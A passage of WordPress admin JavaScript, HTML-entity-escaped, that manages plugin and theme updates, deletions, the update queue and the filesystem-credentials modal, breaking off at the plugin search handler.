						$views.find( &#039;.auto-update-enabled&#039; ).remove();
					}
				}

				if ( -1 !== _.indexOf( themes[&#039;auto-update-disabled&#039;], response.slug ) ) {
					themes[&#039;auto-update-disabled&#039;] = _.without( themes[&#039;auto-update-disabled&#039;], response.slug );
					if ( themes[&#039;auto-update-disabled&#039;].length ) {
						$views.find( &#039;.auto-update-disabled .count&#039; ).text( &#039;(&#039; + themes[&#039;auto-update-disabled&#039;].length + &#039;)&#039; );
					} else {
						$views.find( &#039;.auto-update-disabled&#039; ).remove();
					}
				}

				themes.all = _.without( themes.all, response.slug );

				// There is always at least one theme available.
				$views.find( &#039;.all .count&#039; ).text( &#039;(&#039; + themes.all.length + &#039;)&#039; );
			} );
		}

		// DecrementCount from update count.
		if ( &#039;themes&#039; === pagenow ) {
		    var theme = _.find( _wpThemeSettings.themes, { id: response.slug } );
		    if ( theme.hasUpdate ) {
		        wp.updates.decrementCount( &#039;theme&#039; );
		    }
		}

		wp.a11y.speak( _x( &#039;Deleted!&#039;, &#039;theme&#039; ) );

		$document.trigger( &#039;wp-theme-delete-success&#039;, response );
	};

	/**
	 * Updates the UI appropriately after a failed theme deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be deleted.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.deleteThemeError = function( response ) {
		var $themeRow    = $( &#039;tr.inactive[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ),
			$button      = $( &#039;.theme-actions .delete-theme&#039; ),
			updateRow    = wp.template( &#039;item-update-row&#039; ),
			$updateRow   = $themeRow.siblings( &#039;#&#039; + response.slug + &#039;-update&#039; ),
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed deletion. */
				__( &#039;Deletion failed: %s&#039; ),
				response.errorMessage
			),
			$message     = wp.updates.adminNotice( {
				className: &#039;update-message notice-error notice-alt&#039;,
				message:   errorMessage
			} );

		if ( wp.updates.maybeHandleCredentialError( response, &#039;delete-theme&#039; ) ) {
			return;
		}

		if ( &#039;themes-network&#039; === pagenow ) {
			if ( ! $updateRow.length ) {
				$themeRow.addClass( &#039;update&#039; ).after(
					updateRow( {
						slug: response.slug,
						colspan: $( &#039;#bulk-action-form&#039; ).find( &#039;thead th:not(.hidden), thead td&#039; ).length,
						content: $message
					} )
				);
			} else {
				// Remove previous error messages, if any.
				$updateRow.find( &#039;.notice-error&#039; ).remove();
				$updateRow.find( &#039;.plugin-update&#039; ).append( $message );
			}
		} else {
			$( &#039;.theme-info .theme-description&#039; ).before( $message );
		}

		$button.html( $button.data( &#039;originaltext&#039; ) );

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );

		$document.trigger( &#039;wp-theme-delete-error&#039;, response );
	};

	/**
	 * Adds the appropriate callback based on the type of action and the current page.
	 *
	 * @since 4.6.0
	 * @private
	 *
	 * @param {Object} data   Ajax payload.
	 * @param {string} action The type of request to perform.
	 * @return {Object} The Ajax payload with the appropriate callbacks.
	 */
	wp.updates._addCallbacks = function( data, action ) {
		if ( &#039;import&#039; === pagenow &amp;&amp; &#039;install-plugin&#039; === action ) {
			data.success = wp.updates.installImporterSuccess;
			data.error   = wp.updates.installImporterError;
		}

		return data;
	};

	/**
	 * Pulls available jobs from the queue and runs them.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Can handle multiple job types.
	 */
	wp.updates.queueChecker = function() {
		var job;

		if ( wp.updates.ajaxLocked || ! wp.updates.queue.length ) {
			return;
		}

		job = wp.updates.queue.shift();

		// Handle a queue job.
		switch ( job.action ) {
			case &#039;install-plugin&#039;:
				wp.updates.installPlugin( job.data );
				break;

			case &#039;update-plugin&#039;:
				wp.updates.updatePlugin( job.data );
				break;

			case &#039;delete-plugin&#039;:
				wp.updates.deletePlugin( job.data );
				break;

			case &#039;install-theme&#039;:
				wp.updates.installTheme( job.data );
				break;

			case &#039;update-theme&#039;:
				wp.updates.updateTheme( job.data );
				break;

			case &#039;delete-theme&#039;:
				wp.updates.deleteTheme( job.data );
				break;

			default:
				break;
		}
	};

	/**
	 * Requests the users filesystem credentials if they aren&#039;t already known.
	 *
	 * @since 4.2.0
	 *
	 * @param {Event=} event Optional. Event interface.
	 */
	wp.updates.requestFilesystemCredentials = function( event ) {
		if ( false === wp.updates.filesystemCredentials.available ) {
			/*
			 * After exiting the credentials request modal,
			 * return the focus to the element triggering the request.
			 */
			if ( event &amp;&amp; ! wp.updates.$elToReturnFocusToFromCredentialsModal ) {
				wp.updates.$elToReturnFocusToFromCredentialsModal = $( event.target );
			}

			wp.updates.ajaxLocked = true;
			wp.updates.requestForCredentialsModalOpen();
		}
	};

	/**
	 * Requests the users filesystem credentials if needed and there is no lock.
	 *
	 * @since 4.6.0
	 *
	 * @param {Event=} event Optional. Event interface.
	 */
	wp.updates.maybeRequestFilesystemCredentials = function( event ) {
		if ( wp.updates.shouldRequestFilesystemCredentials &amp;&amp; ! wp.updates.ajaxLocked ) {
			wp.updates.requestFilesystemCredentials( event );
		}
	};

	/**
	 * Keydown handler for the request for credentials modal.
	 *
	 * Closes the modal when the escape key is pressed and
	 * constrains keyboard navigation to inside the modal.
	 *
	 * @since 4.2.0
	 *
	 * @param {Event} event Event interface.
	 */
	wp.updates.keydown = function( event ) {
		if ( 27 === event.keyCode ) {
			wp.updates.requestForCredentialsModalCancel();
		} else if ( 9 === event.keyCode ) {

			// #upgrade button must always be the last focus-able element in the dialog.
			if ( &#039;upgrade&#039; === event.target.id &amp;&amp; ! event.shiftKey ) {
				$( &#039;#hostname&#039; ).trigger( &#039;focus&#039; );

				event.preventDefault();
			} else if ( &#039;hostname&#039; === event.target.id &amp;&amp; event.shiftKey ) {
				$( &#039;#upgrade&#039; ).trigger( &#039;focus&#039; );

				event.preventDefault();
			}
		}
	};

	/**
	 * Opens the request for credentials modal.
	 *
	 * @since 4.2.0
	 */
	wp.updates.requestForCredentialsModalOpen = function() {
		var $modal = $( &#039;#request-filesystem-credentials-dialog&#039; );

		$( &#039;body&#039; ).addClass( &#039;modal-open&#039; );
		$modal.show();
		$modal.find( &#039;input:enabled:first&#039; ).trigger( &#039;focus&#039; );
		$modal.on( &#039;keydown&#039;, wp.updates.keydown );
	};

	/**
	 * Closes the request for credentials modal.
	 *
	 * @since 4.2.0
	 */
	wp.updates.requestForCredentialsModalClose = function() {
		$( &#039;#request-filesystem-credentials-dialog&#039; ).hide();
		$( &#039;body&#039; ).removeClass( &#039;modal-open&#039; );

		if ( wp.updates.$elToReturnFocusToFromCredentialsModal ) {
			wp.updates.$elToReturnFocusToFromCredentialsModal.trigger( &#039;focus&#039; );
		}
	};

	/**
	 * Takes care of the steps that need to happen when the modal is canceled out.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Triggers an event for callbacks to listen to and add their actions.
	 */
	wp.updates.requestForCredentialsModalCancel = function() {

		// Not ajaxLocked and no queue means we already have cleared things up.
		if ( ! wp.updates.ajaxLocked &amp;&amp; ! wp.updates.queue.length ) {
			return;
		}

		_.each( wp.updates.queue, function( job ) {
			$document.trigger( &#039;credential-modal-cancel&#039;, job );
		} );

		// Remove the lock, and clear the queue.
		wp.updates.ajaxLocked = false;
		wp.updates.queue = [];

		wp.updates.requestForCredentialsModalClose();
	};

	/**
	 * Displays an error message in the request for credentials form.
	 *
	 * @since 4.2.0
	 *
	 * @param {string} message Error message.
	 */
	wp.updates.showErrorInCredentialsForm = function( message ) {
		var $filesystemForm = $( &#039;#request-filesystem-credentials-form&#039; );

		// Remove any existing error.
		$filesystemForm.find( &#039;.notice&#039; ).remove();
		$filesystemForm.find( &#039;#request-filesystem-credentials-title&#039; ).after( &#039;&lt;div class=&quot;notice notice-alt notice-error&quot; role=&quot;alert&quot;&gt;&lt;p&gt;&#039; + message + &#039;&lt;/p&gt;&lt;/div&gt;&#039; );
	};

	/**
	 * Handles credential errors and runs events that need to happen in that case.
	 *
	 * @since 4.2.0
	 *
	 * @param {Object} response Ajax response.
	 * @param {string} action   The type of request to perform.
	 */
	wp.updates.credentialError = function( response, action ) {

		// Restore callbacks.
		response = wp.updates._addCallbacks( response, action );

		wp.updates.queue.unshift( {
			action: action,

			/*
			 * Not cool that we&#039;re depending on response for this data.
			 * This would feel more whole in a view all tied together.
			 */
			data: response
		} );

		wp.updates.filesystemCredentials.available = false;
		wp.updates.showErrorInCredentialsForm( response.errorMessage );
		wp.updates.requestFilesystemCredentials();
	};

	/**
	 * Handles credentials errors if it could not connect to the filesystem.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 * @param {string} action                The type of request to perform.
	 * @return {boolean} Whether there is an error that needs to be handled or not.
	 */
	wp.updates.maybeHandleCredentialError = function( response, action ) {
		if ( wp.updates.shouldRequestFilesystemCredentials &amp;&amp; response.errorCode &amp;&amp; &#039;unable_to_connect_to_filesystem&#039; === response.errorCode ) {
			wp.updates.credentialError( response, action );
			return true;
		}

		return false;
	};

	/**
	 * Validates an Ajax response to ensure it&#039;s a proper object.
	 *
	 * If the response deems to be invalid, an admin notice is being displayed.
	 *
	 * @param {(Object|string)} response              Response from the server.
	 * @param {function=}       response.always       Optional. Callback for when the Deferred is resolved or rejected.
	 * @param {string=}         response.statusText   Optional. Status message corresponding to the status code.
	 * @param {string=}         response.responseText Optional. Request response as text.
	 * @param {string}          action                Type of action the response is referring to. Can be &#039;delete&#039;,
	 *                                                &#039;update&#039; or &#039;install&#039;.
	 */
	wp.updates.isValidResponse = function( response, action ) {
		var error = __( &#039;An error occurred during the update process. Please try again.&#039; ),
			errorMessage;

		// Make sure the response is a valid data object and not a Promise object.
		if ( _.isObject( response ) &amp;&amp; ! _.isFunction( response.always ) ) {
			return true;
		}

		if ( _.isString( response ) &amp;&amp; &#039;-1&#039; === response ) {
			error = __( &#039;An error has occurred. Please reload the page and try again.&#039; );
		} else if ( _.isString( response ) ) {
			error = response;
		} else if ( &#039;undefined&#039; !== typeof response.readyState &amp;&amp; 0 === response.readyState ) {
			error = __( &#039;Connection lost or the server is busy. Please try again later.&#039; );
		} else if ( _.isString( response.responseText ) &amp;&amp; &#039;&#039; !== response.responseText ) {
			error = response.responseText;
		} else if ( _.isString( response.statusText ) ) {
			error = response.statusText;
		}

		switch ( action ) {
			case &#039;update&#039;:
				/* translators: %s: Error string for a failed update. */
				errorMessage = __( &#039;Update failed: %s&#039; );
				break;

			case &#039;install&#039;:
				/* translators: %s: Error string for a failed installation. */
				errorMessage = __( &#039;Installation failed: %s&#039; );
				break;

			case &#039;check-dependencies&#039;:
				/* translators: %s: Error string for a failed dependencies check. */
				errorMessage = __( &#039;Dependencies check failed: %s&#039; );
				break;

			case &#039;activate&#039;:
				/* translators: %s: Error string for a failed activation. */
				errorMessage = __( &#039;Activation failed: %s&#039; );
				break;

			case &#039;delete&#039;:
				/* translators: %s: Error string for a failed deletion. */
				errorMessage = __( &#039;Deletion failed: %s&#039; );
				break;
		}

		// Messages are escaped, remove HTML tags to make them more readable.
		error = error.replace( /&lt;[\/a-z][^&lt;&gt;]*&gt;/gi, &#039;&#039; );
		errorMessage = errorMessage.replace( &#039;%s&#039;, error );

		// Add admin notice.
		wp.updates.addAdminNotice( {
			id:        &#039;unknown_error&#039;,
			className: &#039;notice-error is-dismissible&#039;,
			message:   _.escape( errorMessage )
		} );

		// Remove the lock, and clear the queue.
		wp.updates.ajaxLocked = false;
		wp.updates.queue      = [];

		// Change buttons of all running updates.
		$( &#039;.button.updating-message&#039; )
			.removeClass( &#039;updating-message&#039; )
			.removeAttr( &#039;aria-label&#039; )
			.prop( &#039;disabled&#039;, true )
			.text( __( &#039;Update failed.&#039; ) );

		$( &#039;.updating-message:not(.button):not(.thickbox)&#039; )
			.removeClass( &#039;updating-message notice-warning&#039; )
			.addClass( &#039;notice-error&#039; )
			.find( &#039;p&#039; )
				.removeAttr( &#039;aria-label&#039; )
				.text( errorMessage );

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );

		return false;
	};

	/**
	 * Potentially adds an AYS to a user attempting to leave the page.
	 *
	 * If an update is on-going and a user attempts to leave the page,
	 * opens an &quot;Are you sure?&quot; alert.
	 *
	 * @since 4.2.0
	 */
	wp.updates.beforeunload = function() {
		if ( wp.updates.ajaxLocked ) {
			return __( &#039;Updates may not complete if you navigate away from this page.&#039; );
		}
	};

	$( function() {
		var $pluginFilter        = $( &#039;#plugin-filter, #plugin-information-footer&#039; ),
			$bulkActionForm      = $( &#039;#bulk-action-form&#039; ),
			$filesystemForm      = $( &#039;#request-filesystem-credentials-form&#039; ),
			$filesystemModal     = $( &#039;#request-filesystem-credentials-dialog&#039; ),
			$pluginSearch        = $( &#039;.plugins-php .wp-filter-search&#039; ),
			$pluginInstallSearch = $( &#039;.plugin-install-php .wp-filter-search&#039; );

		settings = _.extend( settings, window._wpUpdatesItemCounts || {} );

		if ( settings.totals ) {
			wp.updates.refreshCount();
		}

		/*
		 * Whether a user needs to submit filesystem credentials.
		 *
		 * This is based on whether the form was output on the page server-side.
		 *
		 * @see {wp_print_request_filesystem_credentials_modal() in PHP}
		 */
		wp.updates.shouldRequestFilesystemCredentials = $filesystemModal.length &gt; 0;

		/**
		 * File system credentials form submit noop-er / handler.
		 *
		 * @since 4.2.0
		 */
		$filesystemModal.on( &#039;submit&#039;, &#039;form&#039;, function( event ) {
			event.preventDefault();

			// Persist the credentials input by the user for the duration of the page load.
			wp.updates.filesystemCredentials.ftp.hostname       = $( &#039;#hostname&#039; ).val();
			wp.updates.filesystemCredentials.ftp.username       = $( &#039;#username&#039; ).val();
			wp.updates.filesystemCredentials.ftp.password       = $( &#039;#password&#039; ).val();
			wp.updates.filesystemCredentials.ftp.connectionType = $( &#039;input[name=&quot;connection_type&quot;]:checked&#039; ).val();
			wp.updates.filesystemCredentials.ssh.publicKey      = $( &#039;#public_key&#039; ).val();
			wp.updates.filesystemCredentials.ssh.privateKey     = $( &#039;#private_key&#039; ).val();
			wp.updates.filesystemCredentials.fsNonce            = $( &#039;#_fs_nonce&#039; ).val();
			wp.updates.filesystemCredentials.available          = true;

			// Unlock and invoke the queue.
			wp.updates.ajaxLocked = false;
			wp.updates.queueChecker();

			wp.updates.requestForCredentialsModalClose();
		} );

		/**
		 * Closes the request credentials modal when clicking the &#039;Cancel&#039; button or outside of the modal.
		 *
		 * @since 4.2.0
		 */
		$filesystemModal.on( &#039;click&#039;, &#039;[data-js-action=&quot;close&quot;], .notification-dialog-background&#039;, wp.updates.requestForCredentialsModalCancel );

		/**
		 * Hide SSH fields when not selected.
		 *
		 * @since 4.2.0
		 */
		$filesystemForm.on( &#039;change&#039;, &#039;input[name=&quot;connection_type&quot;]&#039;, function() {
			$( &#039;#ssh-keys&#039; ).toggleClass( &#039;hidden&#039;, ( &#039;ssh&#039; !== $( this ).val() ) );
		} ).trigger( &#039;change&#039; );

		/**
		 * Handles events after the credential modal was closed.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event}  event Event interface.
		 * @param {string} job   The install/update.delete request.
		 */
		$document.on( &#039;credential-modal-cancel&#039;, function( event, job ) {
			var $updatingMessage = $( &#039;.updating-message&#039; ),
				$message, originalText;

			if ( &#039;import&#039; === pagenow ) {
				$updatingMessage.removeClass( &#039;updating-message&#039; );
			} else if ( &#039;plugins&#039; === pagenow || &#039;plugins-network&#039; === pagenow ) {
				if ( &#039;update-plugin&#039; === job.action ) {
					$message = $( &#039;tr[data-plugin=&quot;&#039; + job.data.plugin + &#039;&quot;]&#039; ).find( &#039;.update-message&#039; );
				} else if ( &#039;delete-plugin&#039; === job.action ) {
					$message = $( &#039;[data-plugin=&quot;&#039; + job.data.plugin + &#039;&quot;]&#039; ).find( &#039;.row-actions a.delete&#039; );
				}
			} else if ( &#039;themes&#039; === pagenow || &#039;themes-network&#039; === pagenow ) {
				if ( &#039;update-theme&#039; === job.action ) {
					$message = $( &#039;[data-slug=&quot;&#039; + job.data.slug + &#039;&quot;]&#039; ).find( &#039;.update-message&#039; );
				} else if ( &#039;delete-theme&#039; === job.action &amp;&amp; &#039;themes-network&#039; === pagenow ) {
					$message = $( &#039;[data-slug=&quot;&#039; + job.data.slug + &#039;&quot;]&#039; ).find( &#039;.row-actions a.delete&#039; );
				} else if ( &#039;delete-theme&#039; === job.action &amp;&amp; &#039;themes&#039; === pagenow ) {
					$message = $( &#039;.theme-actions .delete-theme&#039; );
				}
			} else {
				$message = $updatingMessage;
			}

			if ( $message &amp;&amp; $message.hasClass( &#039;updating-message&#039; ) ) {
				originalText = $message.data( &#039;originaltext&#039; );

				if ( &#039;undefined&#039; === typeof originalText ) {
					originalText = $( &#039;&lt;p&gt;&#039; ).html( $message.find( &#039;p&#039; ).data( &#039;originaltext&#039; ) );
				}

				$message
					.removeClass( &#039;updating-message&#039; )
					.html( originalText );

				if ( &#039;plugin-install&#039; === pagenow || &#039;plugin-install-network&#039; === pagenow ) {
					if ( &#039;update-plugin&#039; === job.action ) {
						$message.attr(
							&#039;aria-label&#039;,
							sprintf(
								/* translators: %s: Plugin name and version. */
								_x( &#039;Update %s now&#039;, &#039;plugin&#039; ),
								$message.data( &#039;name&#039; )
							)
						);
					} else if ( &#039;install-plugin&#039; === job.action ) {
						$message.attr(
							&#039;aria-label&#039;,
							sprintf(
								/* translators: %s: Plugin name. */
								_x( &#039;Install %s now&#039;, &#039;plugin&#039; ),
								$message.data( &#039;name&#039; )
							)
						);
					}
				}
			}

			wp.a11y.speak( __( &#039;Update canceled.&#039; ) );
		} );

		/**
		 * Click handler for plugin updates in List Table view.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( &#039;click&#039;, &#039;[data-plugin] .update-link&#039;, function( event ) {
			var $message   = $( event.target ),
				$pluginRow = $message.parents( &#039;tr&#039; );

			event.preventDefault();

			if ( $message.hasClass( &#039;updating-message&#039; ) || $message.hasClass( &#039;button-disabled&#039; ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			// Return the user to the input box of the plugin&#039;s table row after closing the modal.
			wp.updates.$elToReturnFocusToFromCredentialsModal = $pluginRow.find( &#039;.check-column input&#039; );
			wp.updates.updatePlugin( {
				plugin: $pluginRow.data( &#039;plugin&#039; ),
				slug:   $pluginRow.data( &#039;slug&#039; )
			} );
		} );

		/**
		 * Click handler for plugin updates in plugin install view.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$pluginFilter.on( &#039;click&#039;, &#039;.update-now&#039;, function( event ) {
			var $button = $( event.target );
			event.preventDefault();

			if ( $button.hasClass( &#039;updating-message&#039; ) || $button.hasClass( &#039;button-disabled&#039; ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.updatePlugin( {
				plugin: $button.data( &#039;plugin&#039; ),
				slug:   $button.data( &#039;slug&#039; )
			} );
		} );

		/**
		 * Click handler for plugin installs in plugin install view.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$pluginFilter.on( &#039;click&#039;, &#039;.install-now&#039;, function( event ) {
			var $button = $( event.target );
			event.preventDefault();

			if ( $button.hasClass( &#039;updating-message&#039; ) || $button.hasClass( &#039;button-disabled&#039; ) ) {
				return;
			}

			if ( wp.updates.shouldRequestFilesystemCredentials &amp;&amp; ! wp.updates.ajaxLocked ) {
				wp.updates.requestFilesystemCredentials( event );

				$document.on( &#039;credential-modal-cancel&#039;, function() {
					var $message = $( &#039;.install-now.updating-message&#039; );

					$message
						.removeClass( &#039;updating-message&#039; )
						.text( _x( &#039;Install Now&#039;, &#039;plugin&#039; ) );

					wp.a11y.speak( __( &#039;Update canceled.&#039; ) );
				} );
			}

			wp.updates.installPlugin( {
				slug: $button.data( &#039;slug&#039; )
			} );
		} );

		/**
		 * Click handler for plugin activations in plugin activation modal view.
		 *
		 * @since 6.5.0
		 * @since 6.5.4 Redirect the parent window to the activation URL.
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( &#039;click&#039;, &#039;#plugin-information-footer .activate-now&#039;, function( event ) {
			event.preventDefault();
			window.parent.location.href = $( event.target ).attr( &#039;href&#039; );
		});

		/**
		 * Click handler for importer plugins installs in the Import screen.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( &#039;click&#039;, &#039;.importer-item .install-now&#039;, function( event ) {
			var $button = $( event.target ),
				pluginName = $( this ).data( &#039;name&#039; );

			event.preventDefault();

			if ( $button.hasClass( &#039;updating-message&#039; ) ) {
				return;
			}

			if ( wp.updates.shouldRequestFilesystemCredentials &amp;&amp; ! wp.updates.ajaxLocked ) {
				wp.updates.requestFilesystemCredentials( event );

				$document.on( &#039;credential-modal-cancel&#039;, function() {

					$button
						.removeClass( &#039;updating-message&#039; )
						.attr(
							&#039;aria-label&#039;,
							sprintf(
								/* translators: %s: Plugin name. */
								_x( &#039;Install %s now&#039;, &#039;plugin&#039; ),
								pluginName
							)
						)
						.text( _x( &#039;Install Now&#039;, &#039;plugin&#039; ) );

					wp.a11y.speak( __( &#039;Update canceled.&#039; ) );
				} );
			}

			wp.updates.installPlugin( {
				slug:    $button.data( &#039;slug&#039; ),
				pagenow: pagenow,
				success: wp.updates.installImporterSuccess,
				error:   wp.updates.installImporterError
			} );
		} );

		/**
		 * Click handler for plugin deletions.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( &#039;click&#039;, &#039;[data-plugin] a.delete&#039;, function( event ) {
			var $pluginRow = $( event.target ).parents( &#039;tr&#039; ),
				confirmMessage;

			if ( $pluginRow.hasClass( &#039;is-uninstallable&#039; ) ) {
				confirmMessage = sprintf(
					/* translators: %s: Plugin name. */
					__( &#039;Are you sure you want to delete %s and its data?&#039; ),
					$pluginRow.find( &#039;.plugin-title strong&#039; ).text()
				);
			} else {
				confirmMessage = sprintf(
					/* translators: %s: Plugin name. */
					__( &#039;Are you sure you want to delete %s?&#039; ),
					$pluginRow.find( &#039;.plugin-title strong&#039; ).text()
				);
			}

			event.preventDefault();

			if ( ! window.confirm( confirmMessage ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.deletePlugin( {
				plugin: $pluginRow.data( &#039;plugin&#039; ),
				slug:   $pluginRow.data( &#039;slug&#039; )
			} );

		} );

		/**
		 * Click handler for theme updates.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( &#039;click&#039;, &#039;.themes-php.network-admin .update-link&#039;, function( event ) {
			var $message  = $( event.target ),
				$themeRow = $message.parents( &#039;tr&#039; );

			event.preventDefault();

			if ( $message.hasClass( &#039;updating-message&#039; ) || $message.hasClass( &#039;button-disabled&#039; ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			// Return the user to the input box of the theme&#039;s table row after closing the modal.
			wp.updates.$elToReturnFocusToFromCredentialsModal = $themeRow.find( &#039;.check-column input&#039; );
			wp.updates.updateTheme( {
				slug: $themeRow.data( &#039;slug&#039; )
			} );
		} );

		/**
		 * Click handler for theme deletions.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( &#039;click&#039;, &#039;.themes-php.network-admin a.delete&#039;, function( event ) {
			var $themeRow = $( event.target ).parents( &#039;tr&#039; ),
				confirmMessage = sprintf(
					/* translators: %s: Theme name. */
					__( &#039;Are you sure you want to delete %s?&#039; ),
					$themeRow.find( &#039;.theme-title strong&#039; ).text()
				);

			event.preventDefault();

			if ( ! window.confirm( confirmMessage ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.deleteTheme( {
				slug: $themeRow.data( &#039;slug&#039; )
			} );
		} );

		/**
		 * Bulk action handler for plugins and themes.
		 *
		 * Handles both deletions and updates.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( &#039;click&#039;, &#039;[type=&quot;submit&quot;]:not([name=&quot;clear-recent-list&quot;])&#039;, function( event ) {
			var bulkAction    = $( event.target ).siblings( &#039;select&#039; ).val(),
				itemsSelected = $bulkActionForm.find( &#039;input[name=&quot;checked[]&quot;]:checked&#039; ),
				success       = 0,
				error         = 0,
				errorMessages = [],
				type, action;

			// Determine which type of item we&#039;re dealing with.
			switch ( pagenow ) {
				case &#039;plugins&#039;:
				case &#039;plugins-network&#039;:
					type = &#039;plugin&#039;;
					break;

				case &#039;themes-network&#039;:
					type = &#039;theme&#039;;
					break;

				default:
					return;
			}

			// Bail if there were no items selected.
			if ( ! itemsSelected.length ) {
				bulkAction = false;
			}

			// Determine the type of request we&#039;re dealing with.
			switch ( bulkAction ) {
				case &#039;update-selected&#039;:
					action = bulkAction.replace( &#039;selected&#039;, type );
					break;

				case &#039;delete-selected&#039;:
					var confirmMessage = &#039;plugin&#039; === type ?
						__( &#039;Are you sure you want to delete the selected plugins and their data?&#039; ) :
						__( &#039;Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?&#039; );

					if ( ! window.confirm( confirmMessage ) ) {
						event.preventDefault();
						return;
					}

					action = bulkAction.replace( &#039;selected&#039;, type );
					break;

				default:
					return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			event.preventDefault();

			// Un-check the bulk checkboxes.
			$bulkActionForm.find( &#039;.manage-column [type=&quot;checkbox&quot;]&#039; ).prop( &#039;checked&#039;, false );

			$document.trigger( &#039;wp-&#039; + type + &#039;-bulk-&#039; + bulkAction, itemsSelected );

			// Find all the checkboxes which have been checked.
			itemsSelected.each( function( index, element ) {
				var $checkbox = $( element ),
					$itemRow = $checkbox.parents( &#039;tr&#039; );

				// Only add update-able items to the update queue.
				if ( &#039;update-selected&#039; === bulkAction &amp;&amp; ( ! $itemRow.hasClass( &#039;update&#039; ) || $itemRow.find( &#039;notice-error&#039; ).length ) ) {

					// Un-check the box.
					$checkbox.prop( &#039;checked&#039;, false );
					return;
				}

				// Don&#039;t add items to the update queue again, even if the user clicks the update button several times.
				if ( &#039;update-selected&#039; === bulkAction &amp;&amp; $itemRow.hasClass( &#039;is-enqueued&#039; ) ) {
					return;
				}

				$itemRow.addClass( &#039;is-enqueued&#039; );

				// Add it to the queue.
				wp.updates.queue.push( {
					action: action,
					data:   {
						plugin: $itemRow.data( &#039;plugin&#039; ),
						slug:   $itemRow.data( &#039;slug&#039; )
					}
				} );
			} );

			// Display bulk notification for updates of any kind.
			$document.on( &#039;wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error&#039;, function( event, response ) {
				var $itemRow = $( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ),
					$bulkActionNotice, itemName;

				if ( &#039;wp-&#039; + response.update + &#039;-update-success&#039; === event.type ) {
					success++;
				} else {
					itemName = response.pluginName ? response.pluginName : $itemRow.find( &#039;.column-primary strong&#039; ).text();

					error++;
					errorMessages.push( itemName + &#039;: &#039; + response.errorMessage );
				}

				$itemRow.find( &#039;input[name=&quot;checked[]&quot;]:checked&#039; ).prop( &#039;checked&#039;, false );

				wp.updates.adminNotice = wp.template( &#039;wp-bulk-updates-admin-notice&#039; );

				var successMessage = null;

				if ( success ) {
					if ( &#039;plugin&#039; === response.update ) {
						successMessage = sprintf(
							/* translators: %s: Number of plugins. */
							_n( &#039;%s plugin successfully updated.&#039;, &#039;%s plugins successfully updated.&#039;, success ),
							success
						);
					} else {
						successMessage = sprintf(
							/* translators: %s: Number of themes. */
							_n( &#039;%s theme successfully updated.&#039;, &#039;%s themes successfully updated.&#039;, success ),
							success
						);
					}
				}

				var errorMessage = null;

				if ( error ) {
					errorMessage = sprintf(
						/* translators: %s: Number of failed updates. */
						_n( &#039;%s update failed.&#039;, &#039;%s updates failed.&#039;, error ),
						error
					);
				}

				wp.updates.addAdminNotice( {
					id:            &#039;bulk-action-notice&#039;,
					className:     &#039;bulk-action-notice&#039;,
					successMessage: successMessage,
					errorMessage:   errorMessage,
					errorMessages:  errorMessages,
					type:           response.update
				} );

				$bulkActionNotice = $( &#039;#bulk-action-notice&#039; ).on( &#039;click&#039;, &#039;button&#039;, function() {
					// $( this ) is the clicked button, no need to get it again.
					$( this )
						.toggleClass( &#039;bulk-action-errors-collapsed&#039; )
						.attr( &#039;aria-expanded&#039;, ! $( this ).hasClass( &#039;bulk-action-errors-collapsed&#039; ) );
					// Show the errors list.
					$bulkActionNotice.find( &#039;.bulk-action-errors&#039; ).toggleClass( &#039;hidden&#039; );
				} );

				if ( error &gt; 0 &amp;&amp; ! wp.updates.queue.length ) {
					$( &#039;html, body&#039; ).animate( { scrollTop: 0 } );
				}
			} );

			// Reset admin notice template after #bulk-action-notice was added.
			$document.on( &#039;wp-updates-notice-added&#039;, function() {
				wp.updates.adminNotice = wp.template( &#039;wp-updates-admin-notice&#039; );
			} );

			// Check the queue, now that the event handlers have been added.
			wp.updates.queueChecker();
		} );

		if ( $pluginInstallSearch.length ) {
			$pluginInstallSearch.attr( &#039;aria-describedby&#039;, &#039;live-search-desc&#039; );
		}

		// Track the previous search string length.
		var previousSearchStringLength = 0;
		wp.updates.shouldSearch = function( searchStringLength ) {
			var shouldSearch = searchStringLength &gt;= wp.updates.searchMinCharacters ||
				previousSearchStringLength &gt; wp.updates.searchMinCharacters;
			previousSearchStringLength = searchStringLength;
			return shouldSearch;
		};

		/**
		 * Handles changes to the plugin search box on the new-plugin page,
		 * searching the repository dynamically.
		 *
		 * @since 4.6.0
		 */
		$pluginInstallSearch.on( &#039;keyup input&#039;, _.debounce( function( event, eventtype ) {
